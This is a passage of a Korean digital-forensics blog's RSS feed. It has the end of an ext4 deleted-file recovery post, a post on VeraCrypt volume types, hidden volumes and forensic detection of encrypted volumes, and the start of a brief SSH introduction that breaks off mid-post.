&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBgBDk/btsJYCzZWkQ/SnqLQNpBOTMsrKkHLuFgK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBgBDk/btsJYCzZWkQ/SnqLQNpBOTMsrKkHLuFgK1/img.png&quot; data-alt=&quot;삭제된 사진이 저장되어 있던 Downloads 디렉토리 엔트리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBgBDk/btsJYCzZWkQ/SnqLQNpBOTMsrKkHLuFgK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBgBDk%2FbtsJYCzZWkQ%2FSnqLQNpBOTMsrKkHLuFgK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;175&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;삭제된 사진이 저장되어 있던 Downloads 디렉토리 엔트리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;inode가 재할당된 경우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 삭제 실습 1번에 해당하는 케이스다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inode는 재할당 되었고, journal 영역에서 메타데이터를 확인하더라도 재할당 된 inode 때문에 확보할 수 있는 정보는 없다. 따라서 파일의 정보를 획득할 순 없고 파일 카빙이 이루어져야 되지 않을까 생각한다. (물론 정답이 아닐 가능성과 파일 카빙이 가능한 연구결과가 있을 수도 있다.)&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;IV. Reference&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 검색&lt;/p&gt;</description>
      <category>분야/Digital Forensics</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/108</guid>
      <comments>https://roklcw.tistory.com/108#entry108comment</comments>
      <pubDate>Mon, 30 Sep 2024 11:15:41 +0900</pubDate>
    </item>
    <item>
      <title>VeraCrypt 사용과 분석</title>
      <link>https://roklcw.tistory.com/107</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;VeraCrypt&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 파티션이나 드라이브(USB, 외장하드)를 암호화 하거나 암호화된 가상 디스크를 파일 형태로 새롭게 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VeraCrypt에는 3가지 볼륨 생성 옵션, 2가지 볼륨 형태가 존재한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;볼륨 생성 옵션 (Volume Creation)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTzaW3/btsJJW6op67/aIpQGSclqPwnMypxYVVhR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTzaW3/btsJJW6op67/aIpQGSclqPwnMypxYVVhR1/img.png&quot; data-alt=&quot;VeraCrypt 볼륨 생성 마법사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTzaW3/btsJJW6op67/aIpQGSclqPwnMypxYVVhR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTzaW3%2FbtsJJW6op67%2FaIpQGSclqPwnMypxYVVhR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;434&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VeraCrypt 볼륨 생성 마법사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Create an encrypted file container&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암호화된 가상 디스크를 파일 형태로 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;75&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpSigR/btsJLajgxV1/vLhkq2kLT7pXxXnOIkeYS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpSigR/btsJLajgxV1/vLhkq2kLT7pXxXnOIkeYS0/img.png&quot; data-alt=&quot;가상 디스크 형태로 생성된 볼륨&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpSigR/btsJLajgxV1/vLhkq2kLT7pXxXnOIkeYS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpSigR%2FbtsJLajgxV1%2FvLhkq2kLT7pXxXnOIkeYS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;659&quot; height=&quot;75&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;75&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;가상 디스크 형태로 생성된 볼륨&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Encrypt a non-system partition/drive&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제가 설치되지 않은 파티션이나 드라이브(외장 하드, USB 등)를 암호화하는 옵션.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 데이터는 삭제되는 포맷을 한 후 암호화된 볼륨을 생성 하거나, 기존 데이터를 함께 암호화를 하는 옵션 중 선택할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;681&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMHHxV/btsJIeATlrO/h6tU238IFKMKCtZ2M2Knm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMHHxV/btsJIeATlrO/h6tU238IFKMKCtZ2M2Knm1/img.png&quot; data-alt=&quot;암호화 옵션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMHHxV/btsJIeATlrO/h6tU238IFKMKCtZ2M2Knm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMHHxV%2FbtsJIeATlrO%2Fh6tU238IFKMKCtZ2M2Knm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;681&quot; height=&quot;433&quot; data-origin-width=&quot;681&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;암호화 옵션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. Encrypt the system partition or entire system drive&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제가 설치된 파티션/드라이브를 암호화하는 옵션으로 설정된 경우 운영체제를 부팅할 때 비밀번호를 입력해야 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;볼륨 형태 (Volume Type)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6bG2K/btsJHE0YkVi/FmzJ0uIFiLWolsIK2tT4HK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6bG2K/btsJHE0YkVi/FmzJ0uIFiLWolsIK2tT4HK/img.png&quot; data-alt=&quot;Volume Type&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6bG2K/btsJHE0YkVi/FmzJ0uIFiLWolsIK2tT4HK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6bG2K%2FbtsJHE0YkVi%2FFmzJ0uIFiLWolsIK2tT4HK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;680&quot; height=&quot;434&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Volume Type&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Standard VeraCrypt Volume&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;볼륨 암호화 기능을 통해 암호를 입력해야 데이터를 읽을 수 있지만 볼륨이 존재한다는 것이 명확하게 드러나므로 암호화된 볼륨이 있는 사실 자체를 숨길 수는 없다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Hidden VeraCrypt Volume&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;볼륨 암호화 기능과 볼륨 은닉 기능을 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Standard VeraCrypt Volume이 생기고, 그 안에 Hidden VeraCrypt Volume이 생기는 방식으로 겉으로는 Standard VeraCrypt Volume이 보이게 된다. 따라서 표면적으로 숨겨진 볼륨이 존재한다는 사실을 알 수 없게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단점으로는 사용자가 표준 볼륨에 데이터를 저장할때 숨겨진 볼륨의 데이터를 덮어쓸 위험이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;(1) Normal Mode&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 볼륨을 생성한 다음 그 안에 숨겨진 VeraCrypt 볼륨을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;(2) Direct mode&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 VeraCrypt 볼륨 내에 숨겨진 볼륨을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숨겨진 볼륨이 있는 Standard VeraCrypt Volume에 암호가 존재하고, Hidden VeraCrypt Volume에 별도의 암호가 존재한다. 각각 볼륨에 접근하기 위해서 설정한 암호를 입력하면 된다. (숨겨진 볼륨에 접근하기 위해서는 Hidden VeraCrypt Volume의 암호를 입력하면 된다. 기본 볼륨 또한 마찬가지다.)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실습&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Encrypt a non-system partition/drive -&amp;gt; Standard VeraCrypt Volume&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존에 존재하던 파티션인 E 드라이브를 암호화 해봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1649&quot; data-origin-height=&quot;259&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq73ZY/btsJJVf6E0K/lkq9qHcsupWNJOemM09SG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq73ZY/btsJJVf6E0K/lkq9qHcsupWNJOemM09SG1/img.png&quot; data-alt=&quot;암호화 과정 속 변화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq73ZY/btsJJVf6E0K/lkq9qHcsupWNJOemM09SG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq73ZY%2FbtsJJVf6E0K%2Flkq9qHcsupWNJOemM09SG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1649&quot; height=&quot;259&quot; data-origin-width=&quot;1649&quot; data-origin-height=&quot;259&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;암호화 과정 속 변화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;암호화 전, 후를 보면 내부를 확인할 수 없게 되고, VeraCrypt를 이용해서 암호를 입력하면 볼륨을 복호화한 후 마운트시켜&amp;nbsp; 내부를 확인할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Encrypt a non-system partition/drive -&amp;gt; Hidden VeraCrypt Volume&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;겉으로 보여지는 Standard VeraCrypt Volume은 1000MB를 할당했고, 그중 500 MB는 Hidden VeraCrypt Volume으로 할당했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2319&quot; data-origin-height=&quot;258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMyfs8/btsJJ9SUNF1/Fo9tx0plX4FBm5LXRcTIM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMyfs8/btsJJ9SUNF1/Fo9tx0plX4FBm5LXRcTIM0/img.png&quot; data-alt=&quot;암호화 과정 속 변화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMyfs8/btsJJ9SUNF1/Fo9tx0plX4FBm5LXRcTIM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMyfs8%2FbtsJJ9SUNF1%2FFo9tx0plX4FBm5LXRcTIM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2319&quot; height=&quot;258&quot; data-origin-width=&quot;2319&quot; data-origin-height=&quot;258&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;암호화 과정 속 변화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각 별도의 공간을 가지고 있으며, 만약 Standard VeraCrypt Volume의 크기가 Hidden VeraCrypt Volume 에 할당된 크기를 넘어가게 되면 숨겨진 볼륨의 데이터가 덮어 씌워질 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lrenz/btsJJa6upyz/sJ6Zr5CAeGEdCaqzE0aQTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lrenz/btsJJa6upyz/sJ6Zr5CAeGEdCaqzE0aQTK/img.png&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;167&quot; data-is-animation=&quot;false&quot; style=&quot;width: 44.5418%; margin-right: 10px;&quot; data-widthpercent=&quot;45.07&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lrenz/btsJJa6upyz/sJ6Zr5CAeGEdCaqzE0aQTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flrenz%2FbtsJJa6upyz%2FsJ6Zr5CAeGEdCaqzE0aQTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWdajz/btsJKTIFJU5/IqFEMstk476mPOgAD93kP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWdajz/btsJKTIFJU5/IqFEMstk476mPOgAD93kP1/img.png&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;137&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.2954%;&quot; data-widthpercent=&quot;54.93&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWdajz/btsJKTIFJU5/IqFEMstk476mPOgAD93kP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWdajz%2FbtsJKTIFJU5%2FIqFEMstk476mPOgAD93kP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Standard VeraCrypt Volume, Hidden VeraCrypt Volume에 각각 저장된 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;느낀점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짧은 실습을 통해 느낀점은 로컬 컴퓨터에 있는 볼륨에 직접 암호화를 하는 것 보단 외장 저장매체 (USB, HDD, SSD 등)에 적용하거나 운영체제 자체를 암호로 걸어버리는 것도 좋을 것 같다. (가상 디스크 형태로 만드는 것도 포함)&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;VeraCrypt가&amp;nbsp;활성화된 볼륨 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FTK Imager에 올렸을때, 구조를 봤을때 VeraCrypt가 적용되어 있다는 것을 확인할 수 있는 무언가가 있을지 궁금해서 분석해봤다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가상 디스크 파일 형태&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt65PT/btsJKkG4e0Z/ljOBhTWGYiDobTpoRDyUl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt65PT/btsJKkG4e0Z/ljOBhTWGYiDobTpoRDyUl0/img.png&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;548&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.7272%; margin-right: 10px;&quot; data-widthpercent=&quot;53.35&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt65PT/btsJKkG4e0Z/ljOBhTWGYiDobTpoRDyUl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt65PT%2FbtsJKkG4e0Z%2FljOBhTWGYiDobTpoRDyUl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;659&quot; height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vUhza/btsJJMxsPHD/WZH5FRzV1V265YqCFt4kR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vUhza/btsJJMxsPHD/WZH5FRzV1V265YqCFt4kR0/img.png&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;581&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.11%;&quot; data-widthpercent=&quot;46.65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vUhza/btsJJMxsPHD/WZH5FRzV1V265YqCFt4kR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvUhza%2FbtsJJMxsPHD%2FWZH5FRzV1V265YqCFt4kR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;가상 디스크 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알아볼 수 있는 규칙은 보이지 않는다. 용도를 알 수 없는 난해한 구조의 파일이 있고, VeraCrypt가 발견된다면 의심해봐야할 것 같다. (혹은 hc 확장자)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;볼륨 형태&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuOeu5/btsJKGKgXST/YcB42KXZA3zBEyKFklDE7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuOeu5/btsJKGKgXST/YcB42KXZA3zBEyKFklDE7K/img.png&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;307&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.1599%; margin-right: 10px;&quot; data-widthpercent=&quot;49.74&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuOeu5/btsJKGKgXST/YcB42KXZA3zBEyKFklDE7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuOeu5%2FbtsJKGKgXST%2FYcB42KXZA3zBEyKFklDE7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;674&quot; height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UwuDi/btsJK7tKHhZ/MgKWnhwzivI5bWnTDGsKn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UwuDi/btsJK7tKHhZ/MgKWnhwzivI5bWnTDGsKn0/img.png&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;302&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6773%;&quot; data-widthpercent=&quot;50.26&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UwuDi/btsJK7tKHhZ/MgKWnhwzivI5bWnTDGsKn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUwuDi%2FbtsJK7tKHhZ%2FMgKWnhwzivI5bWnTDGsKn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;볼륨 형태&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VeraCrypt를 통해 암호화된 볼륨은 파티션이 인식되지만 할당되지 않은 것으로 나타난다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;암호 해독&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;passware kit 도구를 이용하면 암호를 해독할 수 있다. (물론 암호의 강도가 높을수록 엄청난 시간과 자원이 필요하다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lHoHn/btsJKOuyazB/sG5jPhHtSq0ZSgsYvfsA20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lHoHn/btsJKOuyazB/sG5jPhHtSq0ZSgsYvfsA20/img.png&quot; data-alt=&quot;해독된 암호&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lHoHn/btsJKOuyazB/sG5jPhHtSq0ZSgsYvfsA20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlHoHn%2FbtsJKOuyazB%2FsG5jPhHtSq0ZSgsYvfsA20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;84&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;해독된 암호&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>분야/Digital Forensics</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/107</guid>
      <comments>https://roklcw.tistory.com/107#entry107comment</comments>
      <pubDate>Mon, 23 Sep 2024 16:59:33 +0900</pubDate>
    </item>
    <item>
      <title>SSH (Secure Shell)</title>
      <link>https://roklcw.tistory.com/102</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;SSH (Secure Shell)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보호되지 않는 네트워크를 통해 컴퓨터에 연결할 때 안전한 연결이 가능하도록 하는 네트워크 프로토콜.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원격 시스템에 액세스할 때 데이터의 기밀성과 무결성을 유지하는데 필수적임.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;작동 방식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;언젠간 공부하지 않을까요~&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SSH 활성화&lt;/h3&gt;
